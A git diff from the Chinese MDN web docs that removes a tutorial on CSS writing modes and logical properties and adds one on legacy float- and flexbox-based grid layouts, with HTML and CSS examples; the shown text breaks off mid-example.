本章介绍的概念在CSS的重要性越来越大。了解块级方向和内联方向,以及文本的排列方向如何随书写模式发生变化,将来会非常有用。即便你仅使用横向的书写模式,这也能帮助你了解。

+ +

在下一部分,我们将会看一下CSS中的溢出。

+ +

{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}

+ +

模块目录

+ +
    +
  1. 层叠与继承
  2. +
  3. CSS选择器 + +
  4. +
  5. 盒模型
  6. +
  7. 背景与边框
  8. +
  9. 处理不同文字方向的文本
  10. +
  11. 溢出的内容
  12. +
  13. 值和单位
  14. +
  15. 在CSS中调整大小
  16. +
  17. 图像、媒体和表单元素
  18. +
  19. 样式化表格
  20. +
  21. 调试CSS
  22. +
  23. 组织CSS
  24. +
diff --git "a/files/zh-cn/learn/css/building_blocks/\345\244\204\347\220\206_\344\270\215\345\220\214_\346\226\271\345\220\221\347\232\204_\346\226\207\346\234\254/index.html" "b/files/zh-cn/learn/css/building_blocks/\345\244\204\347\220\206_\344\270\215\345\220\214_\346\226\271\345\220\221\347\232\204_\346\226\207\346\234\254/index.html" deleted file mode 100644 index f907c93a3c..0000000000 --- "a/files/zh-cn/learn/css/building_blocks/\345\244\204\347\220\206_\344\270\215\345\220\214_\346\226\271\345\220\221\347\232\204_\346\226\207\346\234\254/index.html" +++ /dev/null @@ -1,151 +0,0 @@ ---- -title: 处理不同方向的文本 -slug: Learn/CSS/Building_blocks/处理_不同_方向的_文本 -translation_of: Learn/CSS/Building_blocks/Handling_different_text_directions ---- -
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}
- -

目前为止我们在CSS学习中遇到的许多属性和属性值与显示器的物理尺度紧密相关。例如,我们会在上、右、下、左设置边框。这些物理尺寸与水平排布的文本相得益彰,并且,默认浏览器对方向从左到右的文本(如英文或法文)的支持,要优于从右到左的文本(如阿拉伯语)的支持。

- -

然而,CSS在最近几年得到了改进,以更好地支持不同方向的文本,包括从右到左,也包括从上到下的文本(如日文)——这些不同的方向属性被称为书写模式。随着学习的深入,当你开始试着对页面进行布局时,对书写模式的了解将会对你很有帮助,为此我们在这里加以介绍。

- - - - - - - - - - - - -
先决条件:计算机基础知识,基本软件(参见basic software installed),文件管理的基本知识(参见working with files),HTML基础(HTML 学习Introduction to HTML)以及CSS基础(学习CSS first steps)。
目标:了解书写模式对现代CSS的重要
- -

什么是书写模式

- -

CSS中的书写模式是指文本的排列方向是横向还是纵向的。{{cssxref("writing-mode")}} 属性使我们从一种模式切换到另一种模式。为此,你不必使用一种竖向的语言——你还可以更改部分文字的方向以实现创新性的布局。

- -

下面的例子中,我们使用writing-mode: vertical-rl对一个标题的显示进行设置。现在,标题文本是竖向的了。竖向文本在平面设计中很常见,也可以为你的网页设计增添更加有趣的外观。

- -

{{EmbedGHLiveSample("css-examples/learn/writing-modes/simple-vertical.html", '100%', 800)}}

- -

writing-mode的三个值分别是:

- - - -

因此,writing-mode属性实际上设定的是页面上块级元素的显示方向——要么是从上到下,要么是从右到左,要么是从左到右。而这决定了文本的方向。

- -

书写模式、块级布局和内联布局

- -

我们已经讨论了块级布局和内联布局(block and inline layout),也知道外部显示类型元素分为块级元素和内联元素。如上所述,块级显示和内联显示与文本的书写模式(而非屏幕的物理显示)密切相关。如果你使用书写模式的显示是横向的,如英文,那么块在页面上的显示就是从上到下的。

- -

用一个例子可以更清楚地说明这一点。下一个例子中有两个盒子,分别包含一个标题和一个段落。第一个盒子应用的是writing-mode: horizontal-tb,这是一个从上到下的横向的书写模式。第二个盒子应用的是writing-mode: vertical-rl,这是一个从右到左的纵向的书写模式。

- -

{{EmbedGHLiveSample("css-examples/learn/writing-modes/block-inline.html", '100%', 1200)}}

- -

当我们切换书写模式时,我们也在改变块和内联文本的方向。horizontal-tb书写模式下块的方向是从上到下的横向的,而 vertical-rl书写模式下块的方向是从右到左的纵向的。因此,块维度指的总是块在页面书写模式下的显示方向。而内联维度指的总是文本方向。 

- -

这张图展示了在水平书写模式下的两种维度。

- -

这张图片展示了纵向书写模式下的两种维度。

- -

- -

一旦你开始接触CSS布局,尤其是更新的布局方法,这些关于块级元素和内联元素的概念会变得非常重要。我之后会返回来再看。

- -

方向

- -

除了书写模式,我们还可以设置文本方向。正如上面所言,有些语言(如阿拉伯语)是横向书写的,但是是从右向左。当你在对页面布局进行创新时,你可能不这么使用——如果你只是想讲某部分内容放到右边排列下来,还有其他方法可以选择——然而,重要的是能意识到,这其实是CSS本身功能的一部分。网页可不仅限于从左向右排列的语言!

- -

由于书写模式和文本方向都是可变的,新的CSS布局方法不再定义从左到右和从上到下,而是将这些连同内联元素和块级元素的开头结尾一起考量。现在不必过于担心,但是带着这些概念开始你的布局,你会发现这对你掌握CSS非常有用。

- -

逻辑属性和逻辑值

- -

我们之所以要在这里探讨书写模式和方向,是因为目前为止我们已经了解了很多与屏幕的物理显示密切相关的很多属性,而书写模式和方向在水平书写模式下会很有意义。

- -

让我们再来看看那两个盒子——一个用horizontal-tb设定了书写模式,一个用vertical-rl设定了书写模式。我为这两个盒子分别设定了宽度( {{cssxref("width")}})。可以看到,当盒子处于纵向书写模式下时,宽度也发生了变化,从而导致文本超出了盒子的范围。

- -

{{EmbedGHLiveSample("css-examples/learn/writing-modes/width.html", '100%', 1200)}}

- -

通过这一些列调整,我们想要的实际上是使宽和高随着书写模式一起变化。当处于纵向书写模式之下时,我们希望盒子可以向横向模式下一样得到拓宽。

- -

为了更容易实现这样的转变,CSS最近开发了一系列映射属性。这些属性用逻辑(logical)和相对变化(flow relative)代替了像宽width和高height一样的物理属性。

- -

横向书写模式下,映射到width的属性被称作内联尺寸({{cssxref("inline-size")}})——内联维度的尺寸。而映射height的属性被称为块级尺寸({{cssxref("block-size")}}),这是块级维度的尺寸。下面的例子展示了替换掉widthinline-size是如何生效的。

- -

{{EmbedGHLiveSample("css-examples/learn/writing-modes/inline-size.html", '100%', 1200)}}

- -

逻辑外边距、边框和内边距属性

- -

我们在前面两节中学习了CSS的盒模型和CSS边框。在外边距、边框和内边距属性中,你会发现许多物理属性,例如 {{cssxref("margin-top")}}、 {{cssxref("padding-left")}}和 {{cssxref("border-bottom")}}。就像width和height有映射,这些属性也有相应的映射。

- -

margin-top属性的映射是{{cssxref("margin-block-start")}}——总是指向块级维度开始处的边距。

- -

{{cssxref("padding-left")}}属性映射到 {{cssxref("padding-inline-start")}},这是应用到内联开始方向(这是该书写模式文本开始的地方)上的内边距。{{cssxref("border-bottom")}}属性映射到的是{{cssxref("border-block-end")}},也就是块级维度结尾处的边框。

- -

下面是物理和逻辑属性之间的对比。

- -

如果你用writing-mode把盒子.box的书写模式改为vertical-rl,你将会看到尽管盒子的物理方向变了,盒子的物理属性仍然没变,然而逻辑属性会随着书写模式一起改变。

- -

你还可以看到,二级标题{{htmlelement("h2")}}有一个黑色的底部边框border-bottom。你知道如何使得底部边框无论在那种书写模式下都位于文本的下方吗?

- -

{{EmbedGHLiveSample("css-examples/learn/writing-modes/logical-mbp.html", '100%', 1200)}}

- -

对于每一个普通边距,都有许多属性可以参考,你可以在MDN页面(Logical Properties and Values)查看所有映射属性。

- -

逻辑值

- -

目前为止我们看到的都是逻辑属性的名称。还有一些属性的取值是一些物理值(如toprightbottomleft)。这些值同样拥有逻辑值映射(block-startinline-endblock-endinline-start)。

- -

例如,你可以将一张图片移到左边,并使文本环绕图片。你可以将left替换为inline-start ,就像下面的例子中一样。

- -

将这个例子的书写模式改为vertical-rl,看看图片会发生什么。将inline-start改为inline-end来改变图片的移动。

- -

{{EmbedGHLiveSample("css-examples/learn/writing-modes/float.html", '100%', 1200)}}

- -

之类,我们同样使用逻辑边距值来保证在任何书写模式下边距的位置都是对的。

- -
-

译者注:float的逻辑值暂时只有Firefox和Firefox for Android支持,上面的例子可能无法生效。

-
- -

应该使用物理属性还是逻辑属性呢?

- -

逻辑属性是在物理属性之后出现的,因而最近才开始在浏览器中应用。你可以通过查看MDN的属性页面来了解浏览器对逻辑属性的支持情况。如果你并没有应用多种书写模式,那么现在你可能更倾向于使用物理属性,因为这些在你使用弹性布局和网格布局时非常有用。

- -

总结

- -

本章介绍的概念在CSS的重要性越来越大。了解块级方向和内联方向,以及文本的排列方向如何随书写模式发生变化,将来会非常有用。即便你仅使用横向的书写模式,这也能帮助你了解。

- -

在下一部分,我们将会看一下CSS中的溢出。

- -

{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}

- -

模块目录

- -
    -
  1. 层叠与继承
  2. -
  3. CSS选择器 - -
  4. -
  5. 盒模型
  6. -
  7. 背景与边框
  8. -
  9. 处理不同文字方向的文本
  10. -
  11. 溢出的内容
  12. -
  13. 值和单位
  14. -
  15. 在CSS中调整大小
  16. -
  17. 图像、媒体和表单元素
  18. -
  19. 样式化表格
  20. -
  21. 调试CSS
  22. -
  23. 组织CSS
  24. -
diff --git a/files/zh-cn/learn/css/css_layout/legacy_layout_methods/index.html b/files/zh-cn/learn/css/css_layout/legacy_layout_methods/index.html new file mode 100644 index 0000000000..58313b6fdd --- /dev/null +++ b/files/zh-cn/learn/css/css_layout/legacy_layout_methods/index.html @@ -0,0 +1,577 @@ +--- +title: 传统的布局方法 +slug: Learn/CSS/CSS_layout/传统的布局方法 +translation_of: Learn/CSS/CSS_layout/Legacy_Layout_Methods +--- +
{{LearnSidebar}}
+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-Column_Layout", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}

+ +

在CSS布局中,网格系统是一种非常常见的布局方式,并且在CSS 网格布局之前,它们倾向于由浮动和其他的布局功能实现。假想你的布局是一组数字标注的列(例如4、6或者12),然后把你的内容填充到这些想象的列中。这篇文章将要探讨这种早期的方法是怎么实现的,来帮助你在旧项目工作时更好地理解他们。

+ + + + + + + + + + + + +
学习前提:HTML 基础(学习 Introduction to HTML),并且了解CSS是怎么工作的(学习 Introduction to CSS and Styling boxes.)
目标:了解浏览器CSS网格布局系统的基本概念。
+ +

CSS网格布局之前的布局与网格系统

+ +

一个来自设计领域的人或许会惊讶,CSS直到最近才有网格系统,不仅如此,我们还用了许多次优方法来建立类网格设计。我们现在把这些称为“古老”的方法。

+ +

对于新项目来说,大多数情况下CSS网格布局(CSS Grid Layout)被用来和其他一个或多个现代的布局方法结合,以形成布局的基础。但是你会时不时的遇到采用这种古老方法的“网格系统”。值得了解它们是如何工作的,以及为什么它们和CSS网格布局不同。

+ +

这个课程将会解释基于float和flexbox的网格系统和网格框架是如何工作的。学习过网格布局之后,你可能会惊讶,这些看起来真的好复杂!如果你需要为不支持新技术的老浏览器上创建后备代码的话,这些知识将会变的十分有用,而且你也可以在使用这些类别系统的已有工程上工作。

+ +

值得铭记在心的是,在我们探索这些系统时,它们里面没有哪个的建立方式是像通过CSS网格布局创建网格那样,真的建立一个网格。他们通过给目标一个大小, 然后推动它们,让它们看起来像网格一样排列成一条线。

+ +

两列布局

+ +

让我们从最简单的实例开始——一个两列布局。你可以按照步骤在你的电脑上创建一个新的 index.html,先用一个简单HTML模板填充它,然后在适当的位置填充下面的代码。在这节底部,你可以看到一个展示最终代码样貌的实时实例。

+ +

首先,我们需要在我们的栏中放入一些内容。把现在在body中的内容替换成下面的代码:

+ +
<h1>2 column layout example</h1>
+<div>
+  <h2>First column</h2>
+  <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
+</div>
+
+<div>
+  <h2>Second column</h2>
+  <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
+</div>
+ +

每一列都需要一个上一级元素来包含内容,这样我们可以一次性操作所有内容。在这个例子中我们选择了{{htmlelement("div")}}, 但是你可以选择其他更合适的,例如{{htmlelement("article")}}, {{htmlelement("section")}}, 和 {{htmlelement("aside")}},或者是任何别的元素。

+ +

现在我们来看CSS。首先,应用以下的代码来对HTML进行基本设置:

+ +
body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+}
+ +

body将会占据90%的视口宽度,直到达到900像素,在这种情况下,它将固定并保持在视口正中。 默认情况下,它的子项(the {{htmlelement("h1")}} 和两个 {{htmlelement("div")}})将会达到正文宽度的100%。如果我们希望两个{{htmlelement("div")}},一个浮在窗口的一边,另一个浮动在另一边的话, 我们需要将它们的宽度设置为其父元素的100%或者更小,以便他们可以并排放置。将下面的代码加在CSS的底部:

+ +
div:nth-of-type(1) {
+  width: 48%;
+}
+
+div:nth-of-type(2) {
+  width: 48%;
+}
+ +

这里我们将它们都设置为了父元素宽度的48%——总共是96%,在两栏之间留4%的空隙,为它们提供一些宽松的空间。现在我们只需要将让列浮动,像这样:

+ +
div:nth-of-type(1) {
+  width: 48%;
+  float: left;
+}
+
+div:nth-of-type(2) {
+  width: 48%;
+  float: right;
+}
+ +

将这些都放在一起,会得到这样的结果:

+ +
+ +
+ +

{{ EmbedLiveSample('Floated_Two_Col', '100%', 520) }}

+ +

你有没有注意到我们在宽度的表示上都用的是百分比——这是一个很好的策略,这创建了一个流动布局(liquid layout),能够适应不同的屏幕大小,在小一些的屏幕上也能使列保持一样的比例。试一试自己来调整浏览器窗口的宽度,这是响应式网页非常有价值的一个工具。

+ +
+

备注:你可以在 0_two-column-layout.html 实时查看这个实例(另见源代码)。

+
+ +

创建简单的传统网格框架

+ +

大多数传统的框架使用{{cssxref("float")}}属性来使列相邻排列,让它们看起来像是一个网格。以用float创建网格的流程工作,可以向你展示它们工作的原理,并介绍一些更高级的概念,并在浮动和清除这节课中学到的内容之上搭建更多的东西。

+ +

最简单的一类网格创建是固定宽度的——我们只需要计算设计中总的宽度、列的数目、每一列和间隔的宽度。但是,如果我们决定设计的网格是可以根据浏览器宽度缩放的,我们则需要计算每一列和间距的所占的宽度的百分比。

+ +

下一部分我们将学习如何创建这两种方式的网格。我们会构建一个有12列的表格——我们选择了12这个常见的数字,来看它对不同情景的适应情况,因为12可以被6,4,3,和2完全整除。

+ +

一个简单的固定宽度网格

+ +

让我们先来创建一个固定列宽度的网格系统吧。

+ +

首先,把 simple-grid.html下载储存下来,其body中包含以下的标记:

+ +
<div class="wrapper">
+  <div class="row">
+    <div class="col">1</div>
+    <div class="col">2</div>
+    <div class="col">3</div>
+    <div class="col">4</div>
+    <div class="col">5</div>
+    <div class="col">6</div>
+    <div class="col">7</div>
+    <div class="col">8</div>
+    <div class="col">9</div>
+    <div class="col">10</div>
+    <div class="col">11</div>
+    <div class="col">12</div>
+  </div>
+  <div class="row">
+    <div class="col span1">13</div>
+    <div class="col span6">14</div>
+    <div class="col span3">15</div>
+    <div class="col span2">16</div>
+  </div>
+</div>
+ +

我们的目标是把它变成一个有两行十二列的演示网格——第一行显示各列的大小,第二行显示网格上不同大小的区域。

+ +

+ +

在{{htmlelement("style")}}中,加入下面的代码,使容器右侧的内边距为20像素,总的宽度变为980像素。这样给我们留出960像素可以放置列和它们的间隔——这种情况下,内边距会被从总的内容宽度中减去,因为我们在{{cssxref("box-sizing")}}中将站点上所有的元素设置成了border-box (可以查看完全改变盒模型,获得更多解释)。

+ +
* {
+  box-sizing: border-box;
+}
+
+body {
+  width: 980px;
+  margin: 0 auto;
+}
+
+.wrapper {
+  padding-right: 20px;
+}
+ +

现在使用包装了网格每行的列容器,清除网格中每行的浮动,在你前面的规则里加入下面的规则:

+ +
.row {
+  clear: both;
+}
+ +

应用这条清除规则,意味着我们不用在每行上都填充12列元素。行与行之间不会互相干扰,并保持分隔。

+ +

列与列之间保持20像素的间隔。我们使用每列元素的左外边框来实现这个间隔。然后我们一共有12个间隔 — 12 x 20 = 240。

+ +

我们需要从960px的总宽减去这个间隔,然后剩下720像素给我们的列。如果用720除以12,我们知道每列有60个像素宽。

+ +

接下来我们给.col类写一个规则,  让它向左浮动,给它设置20像素的{{cssxref("margin-left")}}来实现一个间隔,再设置60像素的{{cssxref("width")}}。把下面的规则加到你的CSS底部:

+ +
.col {
+  float: left;
+  margin-left: 20px;
+  width: 60px;
+  background: rgb(255, 150, 150);
+}
+ +

单个列的最上面一行现在铺开成为了一个排列整齐的网格。

+ +
+

备注:我们也已经让每列变成亮红色,这样你就能准确看到每列占据了多少空间。

+
+ +

如果我们想让布局容器横跨多列,必须要给它设置特殊的类,来适应列的数量的{{cssxref("width")}} 值(加上间隔的值)。我们需要新建额外的类来允许横跨2-12列。每个宽度是将该列数的列宽加上间隔宽度相加的结果,这些宽度总是比列数少一个。

+ +

在你的CSS底部加入下面的内容:

+ +
/* Two column widths (120px) plus one gutter width (20px) */
+.col.span2 { width: 140px; }
+/* Three column widths (180px) plus two gutter widths (40px) */
+.col.span3 { width: 220px; }
+/* And so on... */
+.col.span4 { width: 300px; }
+.col.span5 { width: 380px; }
+.col.span6 { width: 460px; }
+.col.span7 { width: 540px; }
+.col.span8 { width: 620px; }
+.col.span9 { width: 700px; }
+.col.span10 { width: 780px; }
+.col.span11 { width: 860px; }
+.col.span12 { width: 940px; }
+ +

创建了这些类以后,我们可以在网格上布局不同宽度的列。试试保存并在你的浏览器上加载这个页面,来查看效果。

+ +
+

备注: 如果你在让上面的示例实现的时候正遇到麻烦,尝试将它和我们在GitHub上的完成版进行比较(再看下实时的示例)。

+
+ +

试试修改这些类,甚至添加、删除一些容器,来看看你能怎么改变这个布局。例如,你可以把第二行写成这样:

+ +
<div class="row">
+  <div class="col span8">13</div>
+  <div class="col span4">14</div>
+</div>
+ +

现在你的网格布局生效了。你可以简单的定义这些行,和每行的列数,然后给他们添加你想要的内容。真棒!

+ +

创建液态网格

+ +

这个网格表现的不错,但是它长度固定。 我们实际却想要一个弹性(流体)的网格,它可以随着浏览器的{{Glossary("viewport")}}大小的变化自动伸缩。为了达成这个目标,我们需要把相应的像素的长度变为百分比长度。

+ +

把固定宽度转为伸缩的基于百分比宽度的算式在下面:

+ +
target / context = result
+ +

在我们的列宽里,我们的目标列长度是60像素,我们的上下文是960像素的包装。我们可以这么计算百分比:

+ +
60 / 960 = 0.0625
+ +

然后我们挪动小数点两位,得到百分数6.25%。所以在CSS里面,我们可以用6.25%代替60像素。

+ +

我们需要同样这么算间隔:

+ +
20 / 960 = 0.02083333333
+ +

所以我们需要用2.08333333%代替.col里{{cssxref("margin-left")}}的20像素,和.wrapper里{{cssxref("padding-right")}}的20像素。

+ +

更新我们的网格

+ +

创建一个之前例子网页的副本。然后开始这个章节,或者制作一个simple-grid-finished.html代码的本地副本,以将其作为入手点。

+ +

更新第二个CSS规则(有着.wrapper选择器),像下面这样:

+ +
body {
+  width: 90%;
+  max-width: 980px;
+  margin: 0 auto;
+}
+
+.wrapper {
+  padding-right: 2.08333333%;
+}
+ +

我们不仅给它一个百分比的{{cssxref("width")}},还添加了{{cssxref("max-width")}}属性,来确保布局不过于宽。

+ +

下一步,更新第四条CSS规则(有.col选择器),像这样:

+ +
.col {
+  float: left;
+  margin-left: 2.08333333%;
+  width: 6.25%;
+  background: rgb(255, 150, 150);
+}
+ +

现在做些稍微麻烦的事 — 我们需要更新所有 .col.span 规则来把像素变为百分比。这需要点时间计算;为节省你的功夫,我们在下面替你做了。

+ +

像下面这样更新CSS规则的底部块:

+ +
/* Two column widths (12.5%) plus one gutter width (2.08333333%) */
+.col.span2 { width: 14.58333333%; }
+/* Three column widths (18.75%) plus two gutter widths (4.1666666) */
+.col.span3 { width: 22.91666666%; }
+/* And so on... */
+.col.span4 { width: 31.24999999%; }
+.col.span5 { width: 39.58333332%; }
+.col.span6 { width: 47.91666665%; }
+.col.span7 { width: 56.24999998%; }
+.col.span8 { width: 64.58333331%; }
+.col.span9 { width: 72.91666664%; }
+.col.span10 { width: 81.24999997%; }
+.col.span11 { width: 89.5833333%; }
+.col.span12 { width: 97.91666663%; }
+ +

现在保存你的代码,从浏览器里加载它,尝试改变视口长度——你应该可以看到网格完美地适配了。

+ +
+

备注:如果你在让上面的示例实现的时候正遇到困难,试着把它和我们GitHub上的完成版比较(另见实时的示例)。

+
+ +

使用calc()函数的更简单计算

+ +

你可以用 {{cssxref("calc()")}} 函数来在CSS里面做数学方面的计算——这允许你在CSS里插入简单的算式,来计算那些值。这个会很有用,特别当你有个复杂计算的时候,甚至你还可以在算式里用不同的单位,比如“我想要这个元素一直比它父元素少50像素”。看下这个来自MediaRecorder API教程的示例

+ +

言归正传, 来讲我们的网格!我们网格里跨越超过一列的列,它的总长是6.45%乘跨越的列数加 2.08333333%,乘间隔数(间隔数总等于行数减一)。calc() 函数允许我们就在宽度值里面这么计算,所以对跨越4列的列我们可以这么算:

+ +
.col.span4 {
+  width: calc((6.25%*4) + (2.08333333%*3));
+}
+ +

试着用下面的内容替换你底部的规则块,然后在浏览器中重载,看看你是否能得到相同的结果:

+ +
.col.span2 { width: calc((6.25%*2) + 2.08333333%); }
+.col.span3 { width: calc((6.25%*3) + (2.08333333%*2)); }
+.col.span4 { width: calc((6.25%*4) + (2.08333333%*3)); }
+.col.span5 { width: calc((6.25%*5) + (2.08333333%*4)); }
+.col.span6 { width: calc((6.25%*6) + (2.08333333%*5)); }
+.col.span7 { width: calc((6.25%*7) + (2.08333333%*6)); }
+.col.span8 { width: calc((6.25%*8) + (2.08333333%*7)); }
+.col.span9 { width: calc((6.25%*9) + (2.08333333%*8)); }
+.col.span10 { width: calc((6.25%*10) + (2.08333333%*9)); }
+.col.span11 { width: calc((6.25%*11) + (2.08333333%*10)); }
+.col.span12 { width: calc((6.25%*12) + (2.08333333%*11)); }
+ +
+

备注:你能在fluid-grid-calc.html里看到我们的完成版(另见实时版)。

+
+ +
+

备注:如果你不能让这个正常工作,可能是你的浏览器不支持calc()函数,尽管各浏览器对它的支持相当好——远至IE9那样老。

+
+ +

语义vs.“无语义”网格系统

+ +

在标记中添加类以定义布局,意味着您的内容和标记与您的可视化表示相关联。你将会偶尔听到,这种使用CSS类的方式,被描绘成“无语义”:描述了内容的外观,而不是描述内容的语义性的类的使用。这是我们的span2span3等类所面临的情况。

+ +

这些并不是唯一的方法,你或许会转头决定使用网格,然后向已有的语义类里面加入尺寸信息。例如,如果你有一个带有content类的{{htmlelement("div")}},而且你想让它横跨8列,你可以从span8类里面复制整个关于宽度的规则,结果是像这样的一条规则:

+ +
.content {
+  width: calc((6.25%*8) + (2.08333333%*7));
+}
+ +
+

备注: 如果你要用预处理工具,如Sass,你可以建立一个简单的类(mixin)以插入那个值。

+
+ +

在我们的网格里启用偏移容器

+ +

我们创造的网格很有效。只要我们想把所有容器都从网格的左手边对齐。如果我们想在第一个容器前来个空列,或者容器之间来个空列,我们需要新建一个偏移类,为站点加上左外边距,来可见地推动网格。再来点数学计算!

+ +

让我们实际试试吧。

+ +

从你以前的代码开始,或者把我们的fluid-grid.html文件用作起始点。

+ +

我们在CSS上搞一个类,它会给一个容器元素来个一列宽度的偏移。将下面的内容加到你的CSS的底部:

+ +
.offset-by-one {
+  margin-left: calc(6.25% + (2.08333333%*2));
+}
+ +

或者假如你更愿意自己算百分比,用下面这个:

+ +
.offset-by-one {
+  margin-left: 10.41666666%;
+}
+ +

想要给一个容器的左边加个有一列宽的空白的话,你可以在容器上添加这个类。例如,如果你在HTML中有这个内容的时候:

+ +
<div class="col span6">14</div>
+ +

试着用下面的替换:

+ +
<div class="col span5 offset-by-one">14</div>
+ +
+

备注: 注意你需要别让横跨多列的列太多,给偏移留点空间!

+
+ +

试着载入,刷新来查看区别,或者查看我们的fluid-grid-offset.html示例(另见实时示例)。完成的示例应该看起来像这样:

+ +

+ +
+

备注:作为额外练习,你能实现一个offset-by-two类吗?

+
+ +

浮动网格的限制

+ +

当你想用这个网格系统时,你得仔细看看你的总长是否正确,并且每行中的元素所横跨的列数不超过这一行可容纳的列数。由于浮动布局实现的方式,如果网格列的数目对与网格来说太大,在最后边的元素会跑到下一行去,搞坏了布局 。

+ +

还要记住,如果元素内容比行宽,它会溢出,看起来一团糟。

+ +

这个系统的最大限制是,它本质上是一维的。我们在处理列、让元素跨越列,但是处理不了行。如果不设置一个确定的高度,用老方法很难控制元素高。这个方法很不灵活 —它只有在你确定你的内容有个明确的高的情况下有用。

+ +

弹性盒网格?

+ +

如果你读了之前关于flexbox的文章,你大概会想,弹性布局是个写网格布局的好办法。现在有很多基于弹性布局的网格布局,并且弹性布局可以解决很多上面讲的问题。

+ +

但是,弹性布局不是为网格布局而设的,把它当网格布局来用也有新的挑战。举个简单的例子,我们可以使用我们在上面使用过的同样的示例标记,用下面的CSS样式化wrapperrowcol类:

+ +
body {
+  width: 90%;
+  max-width: 980px;
+  margin: 0 auto;
+}
+
+.wrapper {
+  padding-right: 2.08333333%;
+}
+
+
+.row {
+  display: flex;
+}
+
+.col {
+  margin-left: 2.08333333%;
+  margin-bottom: 1em;
+  width: 6.25%;
+  flex: 1 1 auto;
+  background: rgb(255,150,150);
+}
+ +

你可以试着在你自己的示例里做这些替换,或者看下我们的flexbox-grid.html示例代码(另见实时版)。

+ +

这里,我们会把每行变成一个弹性容器。有了弹性盒为基础的网格,我们仍然需要行,以让我们的元素加起来能不超过100%。我们将容器设为display: flex

+ +

.col上。我们设定{{cssxref("flex")}}属性的第一个值({{cssxref("flex-grow")}})为1,这样我们的物件可以变大;第二个值({{cssxref("flex-shrink")}})为1,这样我们的物件可以缩小;第三个值({{cssxref("flex-basis")}})为auto。因为我们的元素的{{cssxref("width")}}被设定了, auto将会使用和flex-basis 值一样的宽度。

+ +

在顶行,我们有十二个整齐的盒子,它们在视口宽度改变时同等地放大缩小。可是在下一行,我们只有四个物件,它们也从六十像素的基础上变大变小。因为它们只有四个,它们可以长得比上一行的物件更快,结果是它们都占据了第二行的相同宽度。

+ +

+ +

为了解决这个问题,我们仍然需要包含span类,以提供一个用于那个元素的,可以替换掉为 flex-basis所使用的值的宽度。

+ +

它们也不遵从上面的物件使用的网格,因为它们对它一无所知。

+ +

弹性盒设计上是一维。它处理单个维度,行的或者列的。我们不能创建一个对行列严格要求的网格,意即如果我们要在我们的网格上使用弹性盒的话,我们仍然需要计算浮动布局的百分比。

+ +

在你的工程中,由于弹性盒相比浮动能提供附加的对齐和空间分布能力,你可能仍然选择使用弹性盒“网格”。但是你应该清楚,你仍然是在使用一个被设计用来做其他事情的工具。所以你可能觉得,这就像是在你抵达你想要的结果之前,让你跳过额外的坑。

+ +

第三方网格系统

+ +

既然我们理解了我们的网格计算背后的数学了,我们现在该看看一些常用的第三方网格系统了。如果你在互联网上搜索“CSS网格框架”的话,你会发现一个包含了可选项的庞大列表。流行的框架,例如BootstrapFoundation,就包含了网格系统。此外还有独立的网格系统,不是用CSS开发的就是用预处理器开发的。

+ +

让我们看下这些独立系统其中的一个,它阐释了利用网格框架工作的常见技术。我们将要使用的网格是Skeleton的一部分,它是一种简单的CSS框架。

+ +

访问Skeleton网站以开始,选择“Download”下载ZIP文件。解压文件,把skeleton.css和normalize.css复制到一个新路径下。

+ +

制作一个html-skeleton.html文件的副本,在同skeleton和normalize CSS相同的路径下保存副本。

+ +

在HTML页面包含skeleton和normalize CSS,通过把以下内容加到文件头部的方式:

+ +
<link href="normalize.css" rel="stylesheet">
+<link href="skeleton.css" rel="stylesheet">
+ +

Skeleton不仅包含了网格系统,它还包含了用于排版和其他能作为起始点的页面元素上的CSS。我们现在把这些部分留作默认值,我们在这里真正感兴趣的是网格。

+ +
+

备注:Normalize是由Nicolas Gallagher编写的一个很有用的小CSS库,它自动做了一些有用的基础布局修正,让元素默认的样式化在不同浏览器中更加协调。

+
+ +

我们将会使用和在前面的示例中相似的HTML。将下面的内容加到你的HTML body中:

+ +
<div class="container">
+  <div class="row">
+    <div class="col">1</div>
+    <div class="col">2</div>
+    <div class="col">3</div>
+    <div class="col">4</div>
+    <div class="col">5</div>
+    <div class="col">6</div>
+    <div class="col">7</div>
+    <div class="col">8</div>
+    <div class="col">9</div>
+    <div class="col">10</div>
+    <div class="col">11</div>
+    <div class="col">12</div>
+  </div>
+  <div class="row">
+    <div class="col">13</div>
+    <div class="col">14</div>
+    <div class="col">15</div>
+    <div class="col">16</div>
+  </div>
+</div>
+ +


+ 要开始使用Skeleton,我们需要给包装的{{htmlelement("div")}}一个container类——这已经包含在了我们的HTML里面。这让最大宽度为960像素的内容居中了。你可以看看盒子现在是怎么不会宽于960像素的。

+ +

你可以看看skeleton.css文件里,CSS在我们应用这个类的时候是如何使用的。<div>用值为auto的左右外边距居中,左边和右边还应用了20像素的内边距。同我们前面做过的那样,Skeleton同时把Skeleton{{cssxref("box-sizing")}}属性设为border-box值,所以这个元素的内边距和边框将会被包含在整个width里面。

+ +
.container {
+  position: relative;
